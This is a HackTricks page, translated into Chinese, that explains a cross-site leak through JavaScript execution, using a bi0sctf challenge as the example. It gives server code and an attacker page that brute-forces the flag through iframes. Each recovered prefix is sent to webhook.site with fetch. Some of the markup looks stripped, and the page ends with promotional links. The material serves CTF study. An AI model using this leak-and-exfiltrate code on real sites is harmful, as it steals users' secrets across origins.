# JavaScript Execution XS Leak

<details>

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\`\`\`javascript // Code that will try ${guess} as flag (need rest of the server code app.get('/guessing', function(req, res) { let guess = req.query.guess let page = \` function foo() { // If not the flag this will be executed window\.parent.foo() }

hello2

\` res.send(page) }); \`\`\` 主页会生成 iframes 到之前的 \`/guessing\` 页面，以测试每种可能性。 \`\`\`html let candidateIsGood = false; let candidate = '' let flag = 'bi0sctf{' let guessIndex = -1 let flagChars = '\_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ'

// this will get called from our iframe IF the candidate is WRONG function foo() { candidateIsGood = false }

timerId = setInterval(() => { if (candidateIsGood) { flag = candidate guessIndex = -1 fetch('<https://webhook.site/?flag='+flag>) }

//Start with true and will be change to false if wrong candidateIsGood = true guessIndex++ if (guessIndex >= flagChars.length) { fetch('<https://webhook.site/>') return } let guess = flagChars\[guessIndex] candidate = flag + guess let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(candidate)}"></iframe>` console.log('iframe: ', iframe) hack.innerHTML = iframe } , 500);

hello

\`\`\`

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

* 您在**网络安全公司**工作吗？想要看到您的**公司在HackTricks中宣传**吗？或者您想要访问**PEASS的最新版本或下载HackTricks的PDF**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**

</details>


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